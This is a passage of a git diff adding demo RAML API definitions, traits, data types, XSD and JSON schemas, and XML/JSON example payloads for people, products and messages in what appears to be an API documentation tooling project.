+            "https://domain.com/profile/pawel.psztyc/image"
+          ]
+        },
+        "thumb": {
+          "$id": "/properties/image/properties/thumb",
+          "type": "string",
+          "title": "The Thumb Schema ",
+          "default": "",
+          "examples": [
+            "https://domain.com/profile/pawel.psztyc/image/thumb"
+          ]
+        }
+      }
+    },
+    "tagline": {
+      "$id": "/properties/tagline",
+      "type": "string",
+      "title": "The Tagline Schema ",
+      "default": "",
+      "examples": [
+        "Some text about me."
+      ]
+    },
+    "language": {
+      "$id": "/properties/language",
+      "type": "string",
+      "title": "The Language Schema ",
+      "default": "",
+      "examples": [
+        "en_GB"
+      ]
+    },
+    "etag": {
+      "$id": "/properties/etag",
+      "type": "string",
+      "title": "The Etag Schema ",
+      "default": "",
+      "examples": [
+        "W\\244m4n5kj3gbn2nj4k4n4"
+      ]
+    }
+  }
+}
diff --git a/demo/apis/amf-helper-api/schemas/person.xsd b/demo/apis/amf-helper-api/schemas/person.xsd
new file mode 100644
index 0000000..bdcca0c
--- /dev/null
+++ b/demo/apis/amf-helper-api/schemas/person.xsd
@@ -0,0 +1,26 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema" elementFormDefault="qualified" attributeFormDefault="unqualified">
+  <xs:element name="resource">
+    <xs:complexType>
+      <xs:sequence>
+        <xs:element name="id" type="xs:string"></xs:element>
+        <xs:element name="name" type="xs:string"></xs:element>
+        <xs:element name="birthday" type="xs:date"></xs:element>
+        <xs:element name="gender" type="xs:string"></xs:element>
+        <xs:element name="url" type="xs:string"></xs:element>
+        <xs:element name="image">
+          <xs:complexType>
+            <xs:sequence>
+              <xs:element name="url" type="xs:string"></xs:element>
+              <xs:element name="thumb" type="xs:string"></xs:element>
+            </xs:sequence>
+          </xs:complexType>
+        </xs:element>
+        <xs:element name="tagline" type="xs:string"></xs:element>
+        <xs:element name="language" type="xs:string"></xs:element>
+      </xs:sequence>
+      <xs:attribute name="error" type="xs:boolean" use="required"></xs:attribute>
+      <xs:attribute name="type" type="xs:string" use="required"></xs:attribute>
+    </xs:complexType>
+  </xs:element>
+</xs:schema>
diff --git a/demo/apis/amf-helper-api/traits/file.raml b/demo/apis/amf-helper-api/traits/file.raml
new file mode 100644
index 0000000..c9c55d5
--- /dev/null
+++ b/demo/apis/amf-helper-api/traits/file.raml
@@ -0,0 +1,33 @@
+#%RAML 1.0 Trait
+
+queryParameters:
+  convert:
+    type: boolean
+    required: false
+    description: |
+      Whether to convert this file to the corresponding Google Docs format. (Default: false)
+    default: false
+  ocr:
+    type: boolean
+    required: false
+    description: |
+      Whether to attempt OCR on .jpg, .png, .gif, or .pdf uploads. (Default: false)
+    default: false
+  ocrLanguage:
+    type: string
+    required: false
+    description: If ocr is true, hints at the language to use. Valid values are BCP 47 codes.
+  pinned:
+    type: boolean
+    required: false
+    description: |
+      Whether to pin the head revision of the uploaded file. A file can have a maximum of 200 pinned revisions. (Default: false)
+    default: false
+  timedTextLanguage:
+    type: string
+    required: false
+    description: The language of the timed text.
+  timedTextTrackName:
+      type: string
+      required: false
+      description: The timed text track name.
diff --git a/demo/apis/amf-helper-api/traits/pagination.raml b/demo/apis/amf-helper-api/traits/pagination.raml
new file mode 100644
index 0000000..423bf13
--- /dev/null
+++ b/demo/apis/amf-helper-api/traits/pagination.raml
@@ -0,0 +1,80 @@
+#%RAML 1.0 Trait
+
+# displayName: Paginated
+description: The collection of <<resourcePathName>>.
+usage: |
+  This trait is to be used when the resource is paginated that is the edpoint producses
+  a list of resources in the response.
+  Every paginated response contains a `nextPageToken` property that should be used in pagination
+  to request for next page of the results and `items` which is a list of resources.
+  The `items` property is always defined, even if the response is empty. Therefore the `404`
+  response in this case is not possible. Clients need to handle empty responses by their own.
+  It is crutial that the subsequent requests contain the same set of parameters (like `limit`
+  or `start`) because if this values will change then the `nextPageToken` will be revalidated
+  and pagination will start from the first page.
+queryParameters:
+  limit:
+    type: number
+    description: Limit in the response list
+    maximum: 300
+    minimum: 1
+    example: 100
+    default: 25
+  start:
+    type: number
+    description: The start entry of the list
+    minimum: 0
+    example: 25
+    default: 0
+  nextPageToken:
+    type: string
+    example: CiAKGjBpNDd2Nmp2Zml2cXRwYjBpOXA
+    description: |
+      The `nextPageToken` is a web safe encoded cursor to the next entry in the database.
+      It can be obtained by requesting paginated resource and used in next request to get
+      next results page.
+    pattern: "[a-zA-Z0-9]+"
+responses:
+  200:
+    description: |
+      Paginated response containing a single page of the result.
+      By default one page of the results contains 25 items. You can extend it by setting a
+      `limit` query parameter in your request.
+      When changing parameters while using the `nextPageToken` the `nextPageToken` will be ignored
+      and new query will be performed. Queries with `nextPageToken` should contain the same set
+      of parameters as the first request.
+    body:
+      application/json:
+        type: object
+        properties:
+          items:
+            type: array
+            required: true
+            description: Contains a list of objects for this method.
+            items: <<resourceType>>
+          nextPageToken:
+            type: string
+            required: true
+            example: CiAKGjBpNDd2Nmp2Zml2cXRwYjBpOXA
+            description: |
+              The next page token is a web safe encoded cursor to the next entry in the database.
+              Use it in the next request to obtain next page of the results.
+  400:
+    description: |
+      The error response when one of the parameters is invalid and can't be parsed.
+      Nothing can be done at this time except correcting the request to send valid data.
+    body:
+      application/json:
+        displayName: Invalid
+        type: object
+        properties:
+          error:
+            type: boolean
+            required: true
+            example: true
+            description: Indicate that the response is errored.
+          message:
+            type: string
+            description: The error message associated with the error.
+            example: The `limit` parameter is invalid. Please, provide a number between 1 and 300.
+            required: true
diff --git a/demo/apis/amf-helper-api/traits/results.raml b/demo/apis/amf-helper-api/traits/results.raml
new file mode 100644
index 0000000..5a38ac5
--- /dev/null
+++ b/demo/apis/amf-helper-api/traits/results.raml
@@ -0,0 +1,19 @@
+queryParameters:
+  includeDeleted:
+    description: Whether to include deleted items. If set, all replies, including deleted replies (with content stripped) will be returned.
+    default: true
+    type: boolean
+    required: false
+  maxResults:
+    type: integer
+    description: The maximum number of replies to include in the response, used for paging. Acceptable values are 0 to 100, inclusive
+    default: 100
+    minimum: 0
+    maximum: 1000
+    required: false
+  pageToken:
+    type: string
+    required: false
+    description: |
+      Page token for changes.
+      The continuation token, used to page through large result sets. To get the next page of results, set this parameter to the value of "nextPageToken" from the previous response.
diff --git a/demo/apis/amf-helper-api/traits/visibility.raml b/demo/apis/amf-helper-api/traits/visibility.raml
new file mode 100644
index 0000000..3c57989
--- /dev/null
+++ b/demo/apis/amf-helper-api/traits/visibility.raml
@@ -0,0 +1,14 @@
+queryParameters:
+  visibility:
+    type: string
+    required: false
+    description: |
+      The visibility of the property.
+      The visibility of the new file. This parameter is only relevant when convert=false.
+      Acceptable values are:
+      - **"DEFAULT"**: The visibility of the new file is determined by the user's default visibility/sharing policies. (default)
+      - **"PRIVATE"**: The new file will be visible to only the owner.
+      The visibility of the new file. This parameter is only relevant when the source is not a native Google Doc and convert=false.
+      Acceptable values are:
+      - **DEFAULT"**: The visibility of the new file is determined by the user's default visibility/sharing policies. (default)
+      - **"PRIVATE"**: The new file will be visible to only the owner.
diff --git a/demo/apis/amf-helper-api/types/app-person.raml b/demo/apis/amf-helper-api/types/app-person.raml
new file mode 100644
index 0000000..fe4d784
--- /dev/null
+++ b/demo/apis/amf-helper-api/types/app-person.raml
@@ -0,0 +1,101 @@
+#%RAML 1.0 DataType
+
+displayName: A person resource
+description: |
+  An object representing a person in the API.
+  This object will be used in all methods returning a Person or list of people.
+
+type: !include resource.raml
+example:
+  id: "R34fg663H9KW9MMSKISIhTs1dR7Hss7e"
+  name: "Pawel Psztyc"
+  birthday: "1983-10-20"
+  gender: male
+  url: "https://domain.com/profile/pawel.psztyc"
+  image:
+    url: https://domain.com/profile/pawel.psztyc/image
+    thumb: https://domain.com/profile/pawel.psztyc/image/thumb
+  tagline: Some text about me.
+  language: en_GB
+  etag: "W\\244m4n5kj3gbn2nj4k4n4"
+  favouriteNumber: 10
+  favouriteTime: 10:29:52
+  nillable: null
+
+properties:
+  id:
+    description: |
+      A unique identifier of a person.
+
+      It is a 32 bit string containing alphanumeric characters.
+    minLength: 32
+    maxLength: 32
+    pattern: "[A-Za-z0-9]*"
+  name:
+    required: true
+    example: John Smith
+    description: Person full name. The input will be rejected if this property is not set while creating new object.
+    type: string
+    pattern: "[0-9a-zA-Z ]+"
+  birthday:
+    type: date-only
+    description: The person's date of birth, represented as YYYY-MM-DD.
+  favouriteTime:
+    type: time-only
+    description: The person's favourite time of day
+  gender?:
+    type: string
+    description: |
+      The person's gender. Possible values includes, but are not limited to, the following values:
+      * "male" - Male gender.
+      * "female" - Female gender.
+      * "other" - Other.
+    enum: [male, female, other]
+    examples:
+      Women: female
+      Man: male
+      Elmo: other
+  favouriteNumber:
+    type: number
+    minimum: 0
+    maximum: 9999
+    multipleOf: 5
+    required: true
+    displayName: Favourite number
+    example: 25
+  url:
+    type: string
+    description: The URL of this person's profile.
+  image: !include image.raml
+  tagline:
+    type: string
+    description: The brief description (tagline) of this person.
+  language:
+    type: string
+    description: The user's preferred language for rendering.
+  newsletter:
+    type: boolean
+    required: false
+    default: false
+  age:
+    type: integer
+    required: false
+    description: |
+      Very unpractical property to have in a data store.
+  created:
+    type: datetime-only
+    required: false
+    example: 2018-04-09T19:10:15
+  fietype:
+    required: false
+    type: file
+    fileTypes:
+      - image/png
+      - image/jpeg
+      - image/jpg
+      - image/gif
+    minLength: 10
+    maxLength: 1000
+  nillable:
+    type: string | nil
+    default: null
diff --git a/demo/apis/amf-helper-api/types/dimensions.raml b/demo/apis/amf-helper-api/types/dimensions.raml
new file mode 100644
index 0000000..70d388f
--- /dev/null
+++ b/demo/apis/amf-helper-api/types/dimensions.raml
@@ -0,0 +1,24 @@
+#%RAML 1.0 DataType
+
+description: |
+  A dimmensions of an object like image.
+
+type: object
+properties:
+  width:
+    type: number
+    description: |
+      Width of the shape.
+  height:
+    type: number
+    description: |
+      Height of the shape.
+  unit?:
+    type: string
+    default: px
+    description: |
+      A unit that describes the dimension. It can be, for example, `px` for
+      pixels, `pt` for points, `%` for percentage.
+example:
+  width: 200
+  height: 160
diff --git a/demo/apis/amf-helper-api/types/external-type.raml b/demo/apis/amf-helper-api/types/external-type.raml
new file mode 100644
index 0000000..cb68fdd
--- /dev/null
+++ b/demo/apis/amf-helper-api/types/external-type.raml
@@ -0,0 +1,7 @@
+#%RAML 1.0 DataType
+description: |
+  An external data-type
+type: object
+properties:
+  prop1:
+    type: string
\ No newline at end of file
diff --git a/demo/apis/amf-helper-api/types/image.raml b/demo/apis/amf-helper-api/types/image.raml
new file mode 100644
index 0000000..9217d6a
--- /dev/null
+++ b/demo/apis/amf-helper-api/types/image.raml
@@ -0,0 +1,23 @@
+#%RAML 1.0 DataType
+
+description: |
+  An image object representing an image object strored in the file store.
+  The image can be only included in the response. It has no effect if the Image appear in the
+  request. Endpoint handles image creation on it's own and clients can't process images
+  except of sending image data.
+
+type: object
+properties:
+  url:
+    type: string
+    description: |
+      The URL of the image.
+      To resize the image and crop it to a square, append the query string **?sz=x**, where x is the dimension in pixels of each side.
+  thumb:
+    type: string
+    displayName: Thumbnail
+    description: |
+      An URL to the thumbnail of the image. Thumbnails are 60x60px cropped images of the original image.
+example:
+  url: https://domain.com/profile/pawel.psztyc/image
+  thumb: https://domain.com/profile/pawel.psztyc/image/thumb
diff --git a/demo/apis/amf-helper-api/types/product.raml b/demo/apis/amf-helper-api/types/product.raml
new file mode 100644
index 0000000..26633bc
--- /dev/null
+++ b/demo/apis/amf-helper-api/types/product.raml
@@ -0,0 +1,52 @@
+#%RAML 1.0 DataType
+
+displayName: A product resource
+description: A single product representing an item in the store.
+type: !include resource.raml
+properties:
+  id:
+    description: |
+      Product id. It is a UUID of the database record.
+      __This property will be ignored when creating an object.__
+      It will be available when the product is stored in the datastore.
+    pattern: "[0-9a-zA-Z-]+"
+  name:
+    type: string
+    description: Product name
+    example: Acme product - mentol flavor, 500 ml.
+    required: true
+  quantity:
+    type: number
+    description: |
+      The quantity of the product in the one unit of measurement.
+      See `unit` property for more information.
+    example: 500
+    required: true
+  unit:
+    type: string
+    description: The unit of measuremet for the quantity property.
+    example: ml
+    required: true
+  upc:
+    type: string
+    pattern: "[0-9]{12,12}"
+    description: |
+      The Universal Produc Code. It consists of 12 numerical digits. However, because of the
+      integer precision limitation in JavaScript it is represented as a string.
+    example: "042100005264"
+    required: true
+  available:
+    type: boolean
+    description: |
+      Product current availability in the store.
+      Product may be not available but the users still can order it with later delivery date.
+    required: true
+    example: true
+example:
+  id: we2322-4f4f4f-f4f4ff-f4f4ff4
+  name: Acme Product
+  quantity: 200
+  unit: ml
+  upc: "123456789101"
+  available: true
+  etag: "W\\sd3deef3rgrgf4r"
diff --git a/demo/apis/amf-helper-api/types/resource.raml b/demo/apis/amf-helper-api/types/resource.raml
new file mode 100644
index 0000000..77a046b
--- /dev/null
+++ b/demo/apis/amf-helper-api/types/resource.raml
@@ -0,0 +1,11 @@
+#%RAML 1.0 DataType
+
+description: |
+  Common properties for all resources returned by the API.
+type: object
+properties:
+  etag:
+    type: string
+    description: |
+      ETag of this resource for caching purposes.
+      __This property will be ignored when creating an object.__
diff --git a/demo/apis/amf-helper-api/types/standard-request.raml b/demo/apis/amf-helper-api/types/standard-request.raml
new file mode 100644
index 0000000..0649cfc
--- /dev/null
+++ b/demo/apis/amf-helper-api/types/standard-request.raml
@@ -0,0 +1,50 @@
+#%RAML 1.0 ResourceType
+
+get:
+  queryParameters:
+    access_token:
+      type: string
+      required: false
+      description: |
+        OAuth 2.0 token for the current user.
+        One possible way to provide an OAuth 2.0 token.
+    callback:
+      type: string
+      required: false
+      description: |
+        Name of the JavaScript callback function that handles the response.
+        Used in JavaScript JSON-P requests.
+    fields:
+      type: string
+      required: false
+      description: |
+        Selector specifying a subset of fields to include in the response.
+        For more information, see the partial response section in the Performance Tips document.
+        Use for better performance.
+    key:
+      type: string
+      required: false
+      description: |
+        Required unless you provide an OAuth 2.0 token.
+        Your API key identifies your project and provides you with API access, quota, and reports.
+        Obtain your project's API key from the Google API Console.
+    prettyPrint:
+      type: boolean
+      required: false
+      description: |
+        Returns response with indentations and line breaks.
+        When this is false, it can reduce the response payload size, which might lead to better performance in some environments.
+      default: true
+    quotaUser:
+      type: string
+      required: false
+      description: |
+        Alternative to `userIp`.
+        Lets you enforce per-user quotas from a server-side application even in cases when the user's IP address is unknown. This can occur, for example, with applications that run cron jobs on App Engine on a user's behalf.
+        You can choose any arbitrary string that uniquely identifies a user, but it is limited to 40 characters.
+        Overrides userIp if both are provided.
+    userIp:
+      type: string
+      required: false
+      description: |
+        IP address of the end user for whom the API call is being made. Lets you enforce per-user quotas when calling the API from a server-side application.
diff --git a/demo/apis/amf-helper-api/types/user.raml b/demo/apis/amf-helper-api/types/user.raml
new file mode 100644
index 0000000..9d93fa7
--- /dev/null
+++ b/demo/apis/amf-helper-api/types/user.raml
@@ -0,0 +1,37 @@
+#%RAML 1.0 DataType
+
+displayName: User
+type: object
+description: A representation of a user in Google Drive.
+properties:
+  kind:
+    type: string
+    description: This is always drive#user.
+    enum: [drive#user]
+    default: drive#user
+  displayName:
+    type: string
+    required: false
+    description: A plain text displayable name for this user.
+  picture:
+    type: object
+    description: The user's profile picture.
+    required: false
+    properties:
+      url:
+        type: string
+        required: false
+        description: A URL that points to a profile picture of this user.
+  isAuthenticatedUser:
+    type: boolean
+    required: false
+    description: Whether this user is the same as the authenticated user for whom the request was made.
+    example: false
+  permissionId:
+    type: string
+    required: false
+    description: The user's ID as visible in the permissions collection.
+  emailAddress:
+    type: string
+    required: false
+    description: The email address of the user.
diff --git a/demo/apis/arc-demo-api/arc-demo-api.raml b/demo/apis/arc-demo-api/arc-demo-api.raml
new file mode 100644
index 0000000..a4ae67a
--- /dev/null
+++ b/demo/apis/arc-demo-api/arc-demo-api.raml
@@ -0,0 +1,469 @@
+#%RAML 1.0
+title: API body demo
+version: v1
+baseUri: http://{instance}.domain.com/
+
+mediaType: [application/json, application/xml]
+protocols: [HTTP, HTTPS]
+
+description: |
+  This is a description of demo API.
+
+  This is **markdown**.
+
+baseUriParameters:
+  instance:
+    description: |
+      The execution environments. Can be one of:
+      - development
+      - staging
+      - qa
+      - production
+    type: string
+    enum: [development, staging, qa, production]
+    pattern: (development|staging|qa|production)
+    default: production
+annotationTypes:
+  deprecated: string
+  annotationTest: nil
+  clearanceLevel:
+    properties:
+      level:
+        enum: [ low, medium, high ]
+        required: true
+      signature:
+        pattern: "\\d{3}-\\w{12}"
+        required: true
+uses:
+  ExampleType: resourceTypes/example-types.raml
+  myLib: library.raml
+types:
+  Image: !include resourceTypes/image.raml
+  Resource: !include resourceTypes/resource.raml
+  AppPerson: !include resourceTypes/app-person.raml
+  Product: !include resourceTypes/product.raml
+  ErrorResource:
+    description: A response that is errored
+    type: object
+    properties:
+      error:
+        type: boolean
+        required: true
+        example: true
+        default: true
+        description: Indicate that the response is errored.
+      message:
+        type: string
+        description: The error message associated with the error.
+        required: true
+  Feature:
+    description: A feature to test enum values in the URI parameters.
+    type: string
+    enum:
+      - A
+      - B
+      - C
+
+resourceTypes:
+  ResourceNotFound:
+    get:
+      responses:
+        404:
+          body:
+            application/json:
+              displayName: Not found response
+              type: ErrorResource
+            application/xml:
+              displayName: Not found response
+              type: !include schemas/error-response.xsd
+              example: !include examples/e404.xml
+  UnauthorizedResponse:
+    get:
+      responses:
+        404:
+          body:
+            application/json:
+              displayName: Unauthorized response
+              type: ErrorResource
+            application/xml:
+              displayName: Unauthorized response
+              type: !include schemas/error-response.xsd
+              example: !include examples/e401.xml
+  RequestErrorResponse:
+    get:
+      responses:
+        400:
+          description: The error response when one of the parameters is invalid and can't be parsed. Nothing can be done at the time except correcting the request to send valid data.
+          body:
+            application/json:
+              displayName: Invalid request
+              type: ErrorResource
+            application/xml:
+              displayName: Invalid request
+              type: !include schemas/error-response.xsd
+              example: !include examples/e400.xml
+traits:
+  Paginated: !include traits/pagination.raml
+  Adminable: !include traits/adminable.raml
+  RateLimited: !include traits/rate-limited.raml
+securitySchemes:
+  oauth_2_0: !include securitySchemes/oauth_2_0.raml
+  x-custom: !include securitySchemes/x-custom.raml
+  basic: !include securitySchemes/basic.raml
+  libOauth: myLib.oauthLib
+
+documentation:
+  - title: Test doc
+    content: Test content
+
+securedBy: [basic]
+
+/test-parameters/{feature}:
+  (deprecated): This endpoint is deprecated and will be removed.
+  securedBy: [libOauth]
+  uriParameters:
+    feature:
+      type: string
+      enum:
+        - A
+        - B
+        - C
+  get:
+    (deprecated): This method is deprecated and will be removed.
+    (clearanceLevel):
+      level: high
+      signature: 230-ghtwvfrs1itr
+    description: To test enum values in the URI parameters for inline type declaration.
+    queryParameters:
+      testRepeatable:
+        (deprecated): Test parameter will be removed in next version of the API.
+        required: true
+        type: string[]
+        example: [value1, value2]
+      numericRepeatable:
+        required: true
+        type: integer[]
+        examples:
+          Some-test-example: [123, 456]
+          Other-example: [1011, 1213]
+      notRequiredRepeatable:
+        (annotationTest):
+        type: array
+        items: date-only
+        required: false
+  /{typeFeature}:
+    (annotationTest):
+    (deprecated): This method will be removed in future release of the API.
+    uriParameters:
+      typeFeature:
+        (annotationTest):
+        type: Feature
+    get:
+      (deprecated): This endpoint is deprecated and will be removed.
+      description: To test enum values in the URI parameters for global type declaration.
+/people:
+  displayName: People
+  type: RequestErrorResponse
+  is: [RateLimited]
+  get:
+    (annotationTest):
+    displayName: List people
+    description: Use this method to list all the people.
+    is: [Paginated: {resourceType: AppPerson}]
+    headers:
+      x-people-op-id:
+        (annotationTest):
+        type: string
+        pattern: ^[0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[4][0-9a-fA-F]{3}-[89abAB][0-9a-fA-F]{3}-[0-9a-fA-F]{12}$
+        description: People ops ID. It is UUID v4 string
+        example: 9719fa6f-c666-48e0-a191-290890760b30
+  post:
+    (deprecated): |
+      This method is not deprecated. And this is only an annotation test.
+    displayName: Create a person
+    description: Use this method to add new person
+    body:
+      application/json:
+        (deprecated): This response type is deprecated and soon will be replaced.
+        type: AppPerson
+      application/xml:
+        type: !include schemas/person.xsd
+        example: !include examples/person.xml
+  put:
+    displayName: Update a person
+    description: Updates the person in the datastore.
+    body:
+      application/json:
+        schema: !include schemas/person.json
+        example: !include examples/person.json
+      application/xml:
+        type: !include schemas/person.xsd
+        example: !include examples/person.xml
+    responses:
+      200:
+        (deprecated): This response type is deprecated and soon will be replaced.
+        description: |
+          Success response for the body
+        headers:
+          X-Frame-Options:
+            type: string
+            examples:
+              Deny: DENY
+              SameOrigin: SAMEORIGIN
+        body:
+          application/json:
+            schema: !include schemas/person.json
+            example: !include examples/person.json
+          application/xml:
+            type: !include schemas/person.xsd
+            example: !include examples/person.xml
+  /{personId}:
+    securedBy: x-custom
+    type: ResourceNotFound
+    displayName: A person
+    description: The endpoint to access information about the person
+    uriParameters:
+      personId:
+        type: integer
+        required: true
+        description: The ID of the person in the system. It is generated by the database numeric value for the person.
+        example: 1234
+    get:
+      displayName: Get a person
+      description: Returns a person
+      headers:
+        x-client-id:
+          (deprecated): This will be replaced
+          example: 123456-acme.client.com
+          description: The application id used to make a request. It can be obtained in the developer console.
+          type: string
+          required: true
+        x-people-op-id:
+          (annotationTest):
+          type: string
+          pattern: ^[0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[4][0-9a-fA-F]{3}-[89abAB][0-9a-fA-F]{3}-[0-9a-fA-F]{12}$
+          description: People ops ID. It is UUID v4 string
+          example: 9719fa6f-c666-48e0-a191-290890760b30
+      responses:
+        200:
+          body:
+            application/json:
+              type: AppPerson
+            application/xml:
+              type: !include schemas/person.xsd
+              example: !include examples/person.xml
+    delete:
+      displayName: Remove a person
+      description: Removes the person from the datastore. This method do not returns any data in 200 response.
+      responses:
+        204:
+      headers:
+        x-people-op-id:
+          (annotationTest):
+          type: string
+          pattern: ^[0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[4][0-9a-fA-F]{3}-[89abAB][0-9a-fA-F]{3}-[0-9a-fA-F]{12}$
+          description: People ops ID. It is UUID v4 string
+          example: 9719fa6f-c666-48e0-a191-290890760b30
+    put:
+      displayName: Update a person
+      description: Updates the person in the datastore.
+      queryParameters:
+        testPatam: string
+      body:
+        application/json:
+          type: AppPerson
+        application/xml:
+          type: !include schemas/person.xsd
+          example: !include examples/person.xml
+      responses:
+        200:
+      headers:
+        x-people-op-id:
+          (annotationTest):
+          type: string
+          pattern: ^[0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[4][0-9a-fA-F]{3}-[89abAB][0-9a-fA-F]{3}-[0-9a-fA-F]{12}$
+          description: People ops ID. It is UUID v4 string
+          example: 9719fa6f-c666-48e0-a191-290890760b30
+/products:
+  displayName: Products
+  description: The API is to be used to access data about the products.
+  type: RequestErrorResponse
+  post:
+    displayName: Create product
+    description: |
+      Creates a product in the store.
+      While creating a product the `id` and `etag` properties will be ignored.
+
+      The endpoint will reject the request if exactly the same product is already defined in the
+      datastore (all properties of both objects equals). Newly created product is available
+      for listing but **it won't be available for ordering API** until it's availability is not set.
+    body:
+      application/json:
+        type: Product
+      application/xml:
+        type: !include schemas/product.xsd
+        example: !include examples/product.xml
+    responses:
+      200:
+        body:
+          application/json:
+            type: Product
+            examples:
+              Product:
+                id: d697f5cea85011e680f576304dec7eb7
+                name: Super product
+                quantity: 125
+                unit: ml
+                upc: "123456789101"
+                available: true
+                etag: "W/\"686897696a7c876b7e\""
+              OtherProduct:
+                id: 123e4567e89b12d3a456426655440000
+                name: Acme Product
+                quantity: 1
+                unit: kg
+                upc: "223456789101"
+                available: true
+                etag: "W/\"123456789\""
+          application/xml:
+            type: !include schemas/product.xsd
+            example: !include examples/product.xml
+      400:
+        description: The request has been rejected. Probably the product already exists in the datastore.
+/orgs:
+  /{orgId}:
+    is: [RateLimited]
+    get:
+      displayName: Get organization
+      description: Returns an organization info.
+      responses:
+        200:
+          body:
+            application/json:
+              type: ExampleType.Org
+              properties:
+                id:
+                  type: string
+                  description: UUID generated ID
+              example:
+                id: "12345"
+                onCall:
+                  firstname: nico
+                  lastname: ark
+                  kind: AcmeAdmin
+                  clearanceLevel: low
+                  phone: "12321"
+                Head:
+                  firstname: nico
+                  lastname: ark
+                  kind: AcmeManager
+                  reports:
+                    -
+                      firstname: nico
+                      lastname: ark
+                      kind: admin
+                  phone: "123-23"
+    put:
+      body:
+        application/json:
+          type: ExampleType.Org
+          properties:
+            id:
+              type: string
+              description: UUID generated ID
+      responses:
+        200:
+          body:
+            application/json:
+              type: ExampleType.Org
+    /managers:
+      get:
+        responses:
+          200:
+            body:
+              application/json:
+                type: ExampleType.Manager[]
+/messages:
+  securedBy: [oauth_2_0]
+  post:
+    description: Create a new message
+    is:  [Adminable]
+    body:
+      application/json:
+        type: object
+        properties:
+          receiver:
+            type: string
+            description: receiver of the message
+            required: true
+          body:
+            type: string
+            description: A message body
+            required: true
+          important:
+            type: boolean
+            description: If true then the message will be marked as important
+            default: false
+            required: true
+  get:
+    description: |
+      List user messages. It returns an array of messages for last of 7 days if
+      `since` property is not set.
+      You can use `since` and `until` query parameters to control messages time
+      span.
+    queryParameters:
+      until:
+        (annotationTest):
+        type: date-only
+        description: Date right limit of the messages query.
+        example: 2017-05-12
+      since:
+        type: date-only
+        description: Date left limit of the messages query.
+        example: 2017-05-10
+    responses:
+      200:
+        body:
+          application/json:
+            type: array
+            items: !include resourceTypes/message-type.raml
+            example: !include examples/messages-example.json
+  /bulk:
+    post:
+      description: Bulk create messages.
+      is:  [Adminable]
+      body:
+        application/json:
+          (annotationTest):
+          type: array
+          items: !include resourceTypes/message-sent-type.raml
+          examples:
+            Example1: !include examples/messages-sent-example.json
+/arrayBody:
+  post:
+    body:
+      application/json:
+        (deprecated): This response type is deprecated and soon will be replaced.
+        description: |
+          This demonstrates a body as an Array
+        type: AppPerson[]
+/multipleTypeInheritance:
+  get:
+    description: |
+      The response body inherits the following types:
+
+      - AppPerson
+      - AlertableAdmin
+    responses:
+      200:
+        body:
+          application/json:
+            type:
+              - AppPerson
+              - ExampleType.AlertableAdmin
+/typeFromLibraryEndpoint:
+  post:
+    body:
+      type: myLib.TypeFromLibray
+    responses:
+      200:
diff --git a/demo/apis/arc-demo-api/examples/e400.xml b/demo/apis/arc-demo-api/examples/e400.xml
new file mode 100644
index 0000000..79fd2d0
--- /dev/null
+++ b/demo/apis/arc-demo-api/examples/e400.xml
@@ -0,0 +1,4 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<resource error="true">
+  <message>Invalid request</message>
+</resource>
diff --git a/demo/apis/arc-demo-api/examples/e401.xml b/demo/apis/arc-demo-api/examples/e401.xml
new file mode 100644
index 0000000..31bb4af
--- /dev/null
+++ b/demo/apis/arc-demo-api/examples/e401.xml
@@ -0,0 +1,4 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<resource error="true">
+  <message>Unauthorized</message>
+</resource>
diff --git a/demo/apis/arc-demo-api/examples/e404.xml b/demo/apis/arc-demo-api/examples/e404.xml
new file mode 100644
index 0000000..c43df3a
--- /dev/null
+++ b/demo/apis/arc-demo-api/examples/e404.xml
@@ -0,0 +1,4 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<resource error="true">
+  <message>Not found</message>
+</resource>
diff --git a/demo/apis/arc-demo-api/examples/image.xml b/demo/apis/arc-demo-api/examples/image.xml
new file mode 100644
index 0000000..8093cdc
--- /dev/null
+++ b/demo/apis/arc-demo-api/examples/image.xml
@@ -0,0 +1,5 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<image>
+  <url>https://www.domain.com/people/Qawer63J73HJ6khjswuqyq62382jG21s/image</url>
+  <thumb>https://www.domain.com/people/Qawer63J73HJ6khjswuqyq62382jG21s/image/thumb</thumb>
+</image>
diff --git a/demo/apis/arc-demo-api/examples/messages-example.json b/demo/apis/arc-demo-api/examples/messages-example.json
new file mode 100644
index 0000000..20275d3
--- /dev/null
+++ b/demo/apis/arc-demo-api/examples/messages-example.json
@@ -0,0 +1,22 @@
+[
+  {
+    "from": {
+      "uid": "a7917e3c-4abf-11e7-a919-92ebcb67fe33",
+      "name": "Pawel Psztyc",
+      "email": "bea3d5e8-4abf-11e7-a919-92ebcb67fe33-em-vbc@domain.com"
+    },
+    "message": "This is an example message. Hello.",
+    "timestamp": 1496757380,
+    "attachements": [
+      "https://attc.domain.com/01332c24-4ac0-11e7-a919-92ebcb67fe33"
+    ]
+  }, {
+    "from": {
+      "uid": "15e64d90-4ac0-11e7-a919-92ebcb67fe33",
+      "name": "John Doe",
+      "email": "220ce9bc-4abf-11e7-a919-92ebcb67fe33-oa-vbc@domain.com"
+    },
+    "message": "Howdy?",
+    "timestamp": 1496757498
+  }
+]
diff --git a/demo/apis/arc-demo-api/examples/messages-sent-example.json b/demo/apis/arc-demo-api/examples/messages-sent-example.json
new file mode 100644
index 0000000..9ac15f1
--- /dev/null
+++ b/demo/apis/arc-demo-api/examples/messages-sent-example.json
@@ -0,0 +1,15 @@
+[
+  {
+    "email": "bea3d5e8-4abf-11e7-a919-92ebcb67fe33-em-vbc@domain.com",
+    "message": "This is an example message. Hello.",
+    "timestamp": 1496757380,
+    "attachements": [
+      "https://attc.domain.com/01332c24-4ac0-11e7-a919-92ebcb67fe33"
+    ]
+  }, {
+    "email": "220ce9bc-4abf-11e7-a919-92ebcb67fe33-oa-vbc@domain.com",
+    "message": "Howdy?",
+    "timestamp": 1496757498,
+    "important": true
+  }
+]
diff --git a/demo/apis/arc-demo-api/examples/person.json b/demo/apis/arc-demo-api/examples/person.json
new file mode 100644
index 0000000..a4c9b01
--- /dev/null
+++ b/demo/apis/arc-demo-api/examples/person.json
@@ -0,0 +1,14 @@
+{
+  "id": "R34fg663H9KW9MMSKISI",
